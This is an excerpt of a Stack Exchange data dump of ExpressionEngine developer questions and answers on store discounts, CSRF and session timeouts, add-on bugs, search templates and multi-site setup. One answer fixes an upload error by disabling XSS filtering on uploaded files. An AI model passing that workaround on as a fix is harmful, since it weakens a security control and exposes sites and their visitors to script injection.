  <row Id="31721" PostTypeId="2" ParentId="30864" CreationDate="2015-06-01T10:29:30.663" Score="1" Body="&lt;p&gt;In the end I hacking ProductsService::apply_sales() to apply a discount before the &lt;code&gt;foreach ($this-&amp;gt;get_active_sales() as $sale)&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function apply_sales(Product $product)&#xA;{&#xA;    // set initial option sale prices&#xA;    if (isset($product-&amp;gt;modifiers)) {&#xA;        foreach ($product-&amp;gt;modifiers as $modifier) {&#xA;            foreach ($modifier-&amp;gt;options as $option) {&#xA;                $option-&amp;gt;sale_price_mod = $option-&amp;gt;opt_price_mod;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    // find any sales which apply to this product&#xA;    $member_group_id = (int) $this-&amp;gt;ee-&amp;gt;session-&amp;gt;userdata['group_id'];&#xA;&#xA;    /**&#xA;     * HACK ^LG&#xA;     * Added 10% Discount Member Price&#xA;     */&#xA;    if($member_group_id) {&#xA;        $product-&amp;gt;setPriceAttribute(store_round_currency($product-&amp;gt;price - (10 * $product-&amp;gt;price / 100)));&#xA;    }&#xA;&#xA;    foreach ($this-&amp;gt;get_active_sales() as $sale) {&#xA;        if ($this-&amp;gt;sale_applies_to_product($sale, $product, $member_group_id)) {&#xA;&#xA;            if ((float) $sale-&amp;gt;per_item_discount) {&#xA;                $product-&amp;gt;sale_price = store_round_currency($product-&amp;gt;sale_price - $sale-&amp;gt;per_item_discount);&#xA;            }&#xA;&#xA;            if ((float) $sale-&amp;gt;percent_discount) {&#xA;                $product-&amp;gt;sale_price = store_round_currency($product-&amp;gt;sale_price - ($sale-&amp;gt;percent_discount * $product-&amp;gt;sale_price / 100));&#xA;&#xA;                // percentage discount also needs to be applied to loaded modifiers&#xA;                if (isset($product-&amp;gt;modifiers)) {&#xA;                    foreach ($product-&amp;gt;modifiers as $modifier) {&#xA;                        foreach ($modifier-&amp;gt;options as $option) {&#xA;                            if ($option-&amp;gt;opt_price_mod) {&#xA;                                $option-&amp;gt;sale_price_mod = store_round_currency($option-&amp;gt;sale_price_mod - ($sale-&amp;gt;percent_discount * $option-&amp;gt;sale_price_mod / 100), true);&#xA;                            }&#xA;                        }&#xA;                    }&#xA;                }&#xA;            }&#xA;&#xA;            $product-&amp;gt;on_sale = true;&#xA;        }&#xA;    }&#xA;&#xA;    return $product;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-06-01T10:29:30.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31722" PostTypeId="2" ParentId="31446" CreationDate="2015-06-01T12:20:40.617" Score="3" Body="&lt;p&gt;I've looked through the source code for you but I'm drawing a blank. I thought there was an arbitrery timeout value in the token however in 2.9.2 this seems to have been depreciated (or I imagined it)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also going to assume the error is not a missing XID/CSRF_token as this has been covered above and no answer is forth-coming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;First Question&lt;/em&gt;&lt;/strong&gt; : How are you creating your form? If you could provide your code that would be great. Is it a Freeform, a Channel Entries form or your own custom one?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, to help you debug, when you create your form, if you use EE tags or the php &lt;code&gt;ee()-&amp;gt;functions-&amp;gt;form_declaration()&lt;/code&gt; a CSRF token should be generated (it's actually generated super early in the request but for simple example), this will be added to the hidden fields of your form that &lt;code&gt;form_declaration&lt;/code&gt;/tags print out to the template. In the back what happens is that this token is added to the &lt;code&gt;exp_security_hashes&lt;/code&gt; table so it can be referenced. Assuming you're using Cookie based (as opposed to Session ID based).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Debug point 1&lt;/em&gt;&lt;/strong&gt; : When you create/display your form is the correct entry being added to the DB table? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Question 2&lt;/em&gt;&lt;/strong&gt; : Are you using standard Cookie based sessions? You can see this in the CP under &lt;code&gt;Admin &amp;gt; Security and Privacy &amp;gt; Security and Sessions &amp;gt; Website Session Type&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now we've debugged the token &lt;em&gt;setting&lt;/em&gt;, lets look at the submission. One clue from your OP is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have a [..] form that, &lt;strong&gt;if used after a certain time&lt;/strong&gt;, will throw a [...] error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is what made me skim through to see if there is an expiry. There is not (from my scan, I'm not infallable!). The first thing I note is that if you are using &lt;strong&gt;cookie based&lt;/strong&gt; authentication there is a hard coded expiry on the token! In file &lt;code&gt;expressionengine/libraries/csrf/Cookie.php&lt;/code&gt; line 42 you'll see this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function get_expiration()&#xA;{&#xA;    return 60 * 60 * 2; // 2 hours&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's a 2 hour expiry on a cookie based session right there, this could cause invalid CSRF's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Debug Point 2&lt;/em&gt;&lt;/strong&gt; : If you are using Session ID based security on the front end then are you ensuring that the &lt;code&gt;S&lt;/code&gt; parameter is passed along with the form submission, either as a cookie or in the URL string? If you submit a form without an &lt;code&gt;S&lt;/code&gt; parameter it can't match the users session and can't check the token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So finally, now we assume your using &lt;strong&gt;session ID based&lt;/strong&gt; authentication. we can see from the file &lt;code&gt;expressionengine/libraries/csrf/Database.php&lt;/code&gt; line 35 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function get_expiration()&#xA;{&#xA;    return 0; // never - times out with session&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means the token is valid as long as the users session is valid. So we now have to check the session settings... Now, the session handling was changed in 2.8.0, however we can get some clues from the file &lt;code&gt;system/expressionengine/libraries/Session.php&lt;/code&gt; (This file is well worth reading just becuase it explains the session types at the top in comments!!), on lines 73 and 74: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $user_session_len    = 7200;  // User sessions expire in two hours&#xA;public $cpan_session_len    = 3600;  // Admin sessions expire in one hour&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's a 2 hour timeout on users using the front end in Sesion ID mode. It's also worth checking your cookie domain in both cases, and if you're posting from http to https or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Question 3&lt;/em&gt;&lt;/strong&gt;: How long in terms of inactivity does the form take to expire? 2 hours?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Debug Point 3&lt;/em&gt;&lt;/strong&gt;: Try altering the cookie/session timeout values on your local site, see if it holds the form 'open' for longer/shorter. If you find that this is what is causing your timeouts, there's a load of modules (or you can core hackz it yourself) out there for you to better control the session.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I do hope the above helps you out a bit. Of course if this (and none of the other answers) does not solve it for you then all this typings been for nothing! (hehe) but please do come back to us (via comments, or edit your OP) with your further findings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one of the answers did help you solve it please do mark the answer, alternatively if you get to the bottom of it please &quot;Answer your own Question&quot; so we can all bask in the glorious solution! &lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-01T12:20:40.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31723" PostTypeId="2" ParentId="31717" CreationDate="2015-06-01T12:26:33.957" Score="1" Body="&lt;p&gt;I had the same issue. You can solve it by disabling XSS filtering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin -&gt; Security and Privacy -&gt; Security and Sessions. Than select &quot;No&quot; for &quot;Apply XSS Filtering to uploaded files&quot;&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-06-01T12:26:33.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31724" PostTypeId="2" ParentId="31719" CreationDate="2015-06-01T12:48:04.400" Score="2" Body="&lt;p&gt;It's not possible to order by a column in a Matrix field. Just imagine how that's supposed to work: if a Matrix field has multiple rows (and therefore multiple prices), which price should be used for ordering? It doesn't really make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to order by price, there should be a dedicated field that contains the price by which you can sort and order.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It would be good if you could combine the Order By and Sort parameters in EE, without needing to do 2 separate selects.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is possible with Low Search, using the &lt;code&gt;orderby_sort&lt;/code&gt; parameter, eg: &lt;code&gt;orderby_sort=&quot;date|desc&quot;&lt;/code&gt; or &lt;code&gt;orderby_sort=&quot;title|asc&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-01T12:48:04.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31725" PostTypeId="2" ParentId="31720" CreationDate="2015-06-01T13:19:55.053" Score="3" Body="&lt;p&gt;Take a look at the example on the Field display : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ex 1: SELECT action_id as option_name, method as option_label, class as optgroup FROM exp_actions ORDER BY class &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will see that the query needs to mark the fields option_label and option_value within the query, using the &lt;code&gt;AS&lt;/code&gt; operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ergo, to replicate your query I have assumed you wish to display the Entry Title, and store the Entry ID, therefor I used : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id AS option_name, title AS option_label &#xA;FROM exp_channel_titles &#xA;WHERE channel_id = '2'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set this up and the field worked fine on the edit/publish CP pages, however it caused another error on Save.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: is_array() expects exactly 1 parameter, 0 given&#xA;Filename: mx_select_plus/ft.mx_select_plus.php&#xA;Line Number: 608&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I inspected this line, sure enought there seems to be a type-o here (Line 698 of &lt;code&gt;ft.mx_select_plus.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = ( is_array() ) ? implode( '|', $data ) : $data;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That doesn't look right! I changed this to : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = ( is_array($data) ) ? implode( '|', $data ) : $data;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes the &lt;code&gt;is_array&lt;/code&gt; call valid and my entry is duely saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can display my selected entry too, however this too is also bugged (i'd get the ticket ready for &lt;a href=&quot;http://www.eec.ms&quot; rel=&quot;nofollow&quot;&gt;http://www.eec.ms&lt;/a&gt; as the documentation if not good either!), it will only display the saved value, not the label when using a database query. Fixing this is way beyond scope however this should get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, I'm seeing some issues in MX Select Plus specifically when using a DB query, I don't think its the 100% finished article. Hopefully the guys over at EEC.MS (MaxLazar, where are you?? :D) will see this and have a look for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could report the &lt;code&gt;is_array&lt;/code&gt; issue and the lack of loading/saving values/labels when using a db query here : &lt;a href=&quot;https://github.com/MaxLazar/mx-select-plus/issues&quot; rel=&quot;nofollow&quot;&gt;https://github.com/MaxLazar/mx-select-plus/issues&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-01T13:27:24.717" LastActivityDate="2015-06-01T13:27:24.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31726" PostTypeId="2" ParentId="31713" CreationDate="2015-06-01T14:17:19.533" Score="1" Body="&lt;p&gt;First thing: ExpressionEngine uses a modified version of CodeIgniter. Ellis Lab maintains their own branch of the main CodeIgniter code base, so expect to run into occasional issues between documentation and actual function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second thing: Go to your EE route config file at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/system/expressionengine/config/routes.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can go a head and mess about how you want. You should be able to set routes and use CodeIgniter class methods:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codeigniter.com/user_guide/general/routing.html&quot; rel=&quot;nofollow&quot;&gt;http://codeigniter.com/user_guide/general/routing.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never done this in production, just messed with it at some point a few years ago. But give it a go, this could be your solution.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-01T14:17:19.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31727" PostTypeId="1" AcceptedAnswerId="31741" CreationDate="2015-06-01T16:17:00.633" Score="1" ViewCount="57" Body="&lt;p&gt;I've just learned that MX Notify Control apparently sends a &quot;Disallowed Key Characters&quot; error when trying to set up a new rule for a status that contains spaces, like &quot;Awaiting Approval.&quot; If I name that status &quot;Awaiting-Approval&quot;, the notification does go through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any fix for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2&#xA;Mx Notify 2.4.6&lt;/p&gt;&#xA;" OwnerUserId="1575" LastActivityDate="2015-06-02T08:46:51.893" Title="MX Notify Control doesn't work on statuses that contain spaces" Tags="|mx-notify|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31728" PostTypeId="1" CreationDate="2015-06-01T17:36:47.157" Score="0" ViewCount="117" Body="&lt;p&gt;I have a site that has been using AJW Feedparser to embed an xml feed for months without problems, but has recently stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I open the cache file, the feed info is there, but it is no longer being parsed in my EE template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting the item path parameter to channel/item but it didn't make a difference. Is there some other parameter I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajw_feedparser &#xA;url=&quot;feed&quot;&#xA;cache_refresh=&quot;60&quot;&#xA;limit=&quot;8&quot;&#xA;parse=&quot;inward&quot;&#xA;debug=&quot;true&quot;&#xA;}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td class=&quot;four&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;meta&quot;&amp;gt;{event_start} {if event_end != event_start} - {event_end}{/if}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;eight&quot;&amp;gt;&#xA;    &amp;lt;h3 class=&quot;title zeta&quot;&amp;gt;&amp;lt;a href=&quot;{link}&quot; title=&quot;More Information&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/exp:ajw_feedparser}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My feed code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;US-ASCII&quot; ?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot; xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&amp;gt;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;atom:link href=&quot;feed url&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;&#xA;    &amp;lt;title&amp;gt;Events&amp;lt;/title&amp;gt;&#xA;    &amp;lt;ttl&amp;gt;500&amp;lt;/ttl&amp;gt;&#xA;    &amp;lt;item&amp;gt;&#xA;        &amp;lt;title&amp;gt;Event Title&amp;lt;/title&amp;gt;&#xA;        &amp;lt;event_start&amp;gt;06/06/15&amp;lt;/event_start&amp;gt;&#xA;        &amp;lt;event_end&amp;gt;06/06/15&amp;lt;/event_end&amp;gt;&#xA;        &amp;lt;description&amp;gt;Event Description&amp;lt;/description&amp;gt;&#xA;        &amp;lt;link&amp;gt;Event URL&amp;lt;/link&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: It appears that the plugin is choking on some ascii characters in the feed. I don't have access to change the feed's encoding. Is there a way to get the plugin to handle the ascii characters?&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2015-06-03T15:18:07.457" LastActivityDate="2016-06-06T17:59:04.080" Title="AJW Feedparser feed stopped working" Tags="|plugin|xml|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31731" PostTypeId="1" AcceptedAnswerId="31738" CreationDate="2015-06-01T19:42:41.833" Score="1" ViewCount="118" Body="&lt;p&gt;I have an Expresso Store site that I need to be able to process orders in multiple currencies. My approach is going to be to split the site out into an MSM site. The original site will process orders through Store in USD. The second MSM site will process orders through Store in EUR. With MSM, each site can have it's own Store settings, which makes this possible. At least to my knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each site will have identical content, pages, products, etc. The only difference will be the display of the price and the currency used throughout the checkout process. My plan for the EUR site is to have a single products channel, with a Store custom field where I can specify the product price and inventory for the EUR version of the product. Then a Playa field that relates to the USD store version of the product, where I can pull in the rest of the product information, like images and details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I need to share so much of the same information, content, and code across sites, what is the best way to setup my EE templates? Is there a way I can effectively use the same template set for both sites? I know I can embed templates from one site into another, but that gets a little messy with template layouts, embeds, partials, etc. Or am I better off just duplicating the templates for the second site and maintaining two separate, but mostly identical template code bases?&lt;/p&gt;&#xA;" OwnerUserId="602" LastActivityDate="2015-06-02T01:04:16.193" Title="What is the best approach for sharing templates across MSM sites?" Tags="|expresso-store|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31733" PostTypeId="1" CreationDate="2015-06-01T20:21:27.493" Score="0" ViewCount="49" Body="&lt;p&gt;Both MX Title Control and Title Master add an auto-increment value for each relationship entry for the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to prevent that? It causes a problem in my site. Or maybe there's another workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a little complicated to explain but I will try to be as to-the-point as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is a tool for Schools to request Tutors for their Students.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Students channel is the Playa relationship between the School and the Tutor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Schools enter the Students' info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin assigns a Student to the Tutor(s) after the request from the School.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutors add their schedule, grades, reports, etc about the student.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Schools can view the details about the Tutors' activities with the Students.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Student can have multiple Tutors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Title of the Tutor assignment is the Student name which happens via Title Master add-on (MX Title Control has the same ability).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But so the URL Title is unique, and number is added. (I believe EE will do this even without the help of Title Control or Title Master.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;THE PROBLEM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying to get the details from one of the Tutor's reports, the extra number gets involved and the link doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OvtI2.png&quot; alt=&quot;Multi Entry Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Works&lt;/strong&gt; &#xA;&lt;a href=&quot;http://www.vanhove.net/ati/index.php/view-students/student-curriculum-rpt-details/laura-farrell/968&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.vanhove.net/ati/index.php/view-students/student-curriculum-rpt-details/laura-farrell/968&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Doesn't work&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.vanhove.net/ati/index.php/view-students/student-curriculum-rpt-details/laura-farrell&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.vanhove.net/ati/index.php/view-students/student-curriculum-rpt-details/laura-farrell&lt;/a&gt;&lt;strong&gt;2370&lt;/strong&gt;/980&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code for that link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{url_title_path='view-students/student-curriculum-rpt-details'}/{row_id}&quot;&amp;gt;{appointment_curriculum_rpt format=&quot;%D, %F %d, %Y&quot;}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a password protected site as it has a lot of confidential info, but I can share these screen grabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image shows the link that works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lXV6Z.png&quot; alt=&quot;OK&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image shows the link that doesn't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5FFVS.png&quot; alt=&quot;Not OK&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this is a lot of info, hopefully it makes sense. Any fix would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, the title of the entry would normally be the Tutor's name, but that would make it really awkward on the back end. The same Tutor handles multiple students, making it difficult to find a specific entry. So I am using Title Master to make the entry the Student's name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzRs1.png&quot; alt=&quot;Entry titles modified by Title Master&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2139" LastEditorUserId="2139" LastEditDate="2015-06-03T14:10:08.877" LastActivityDate="2015-06-03T14:10:08.877" Title="How to stop auto-increment on either MX Title Control or Title Master" Tags="|playa|relationships|url-title|mx-title-control|title-master|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31734" PostTypeId="1" AcceptedAnswerId="31742" CreationDate="2015-06-01T20:50:37.647" Score="2" ViewCount="153" Body="&lt;p&gt;I have a Low:Search result that is a child entry in a relationship, for which I wish to point at it's parent entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The child doesn't have its own URL that resolves, it just resides within its parent index. The entries in the other collection have URLs that resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to redirect from the child URL to its parent.  No luck, perhaps a parse order issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to set the inner html - that displays the content - based on a conditional within the {low_search:results} tag, using 'collection_name', but it also isn't working.  I receive a message that the page cannot be properly displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can get it to work is if I have 2 duplicate {low_search:results} tags, targeting each collection separately, as per &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12340/group-low-search-results-by-channel-collection&quot;&gt;Group Low Search results by channel/collection?&lt;/a&gt;, but I get both a result set and a 'Sorry, no results' message as both tags are firing, but the keywords are not in both collections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must be missing something obvious, as relationships have been around a long time in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone with a clear head see what I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much for reading.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Code example - I don't expect this to work as is, but this structure is what I was hoping would work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;10&quot;}&#xA;&#xA;  {if count == 1}&#xA;    {if low_search_keywords}&amp;lt;p&amp;gt;Term searched for: &amp;lt;strong&amp;gt;{low_search_keywords}&amp;lt;/strong&amp;gt;.&amp;lt;/p&amp;gt;{/if}&#xA;    &amp;lt;p&amp;gt;Total results: &amp;lt;strong&amp;gt;{absolute_results}&amp;lt;/strong&amp;gt;.&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&#xA;  {if channel == &quot;members&quot;} {!-- child of 'bands' --}&#xA;&#xA;  &amp;lt;div class=&quot;entry&quot; style=&quot;clear: both;&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/band-members&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{low_search_excerpt}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  {/if}&#xA;&#xA;  {if channel == &quot;musicians&quot;} {!-- no children --}&#xA;&#xA;  &amp;lt;div class=&quot;entry&quot; style=&quot;clear: both;&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{low_search_excerpt}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  {/if}&#xA;&#xA;  {paginate}&#xA;    &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;  {/paginate}&#xA;&#xA;  {if low_search_no_results}&#xA;    &amp;lt;p&amp;gt;Sorry, your query did not return any results. Check your spelling or try a different search term.&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_short_name == &quot;members&quot;}&#xA;&#xA;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;{parents field=&quot;cf-members_item&quot;}&#xA;  &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{parents:page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;{/parents}&#xA;  &amp;lt;p&amp;gt;{low_search_excerpt}&amp;lt;/p&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA;{if:else}&#xA;&#xA;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;  &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;  &amp;lt;p&amp;gt;{low_search_excerpt}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="202" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-06-04T02:30:49.647" Title="Point a Low:Search result at its parent" Tags="|relationships|low-search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31735" PostTypeId="1" AcceptedAnswerId="31737" CreationDate="2015-06-01T23:28:41.207" Score="0" ViewCount="89" Body="&lt;p&gt;I am trying to set up a “Search by Author” on a blog I am adding to a community website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the avatars to show up, but instead of a list of avatars, I am getting an avatar for every single entry. I want to remove duplicates and show each author only once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the code below will result in it pulling all author's avatars for every.single.post on the site. I have about 10 authors and I want to show their avatars that will link to a list of their blogs. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog&quot; &#xA;    orderby=&quot;asc&quot; &#xA;    dynamic=&quot;no&quot;&#xA;    style=&quot;nested&quot;&#xA;}&#xA;    {if avatar}&#xA;        &amp;lt;a href=&quot;{site_url}blog/author/{member_id}&quot; class=&quot;blogimg&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{avatar_url}&quot; class=&quot;imgblogauthorbar&quot;/&amp;gt;&#xA;     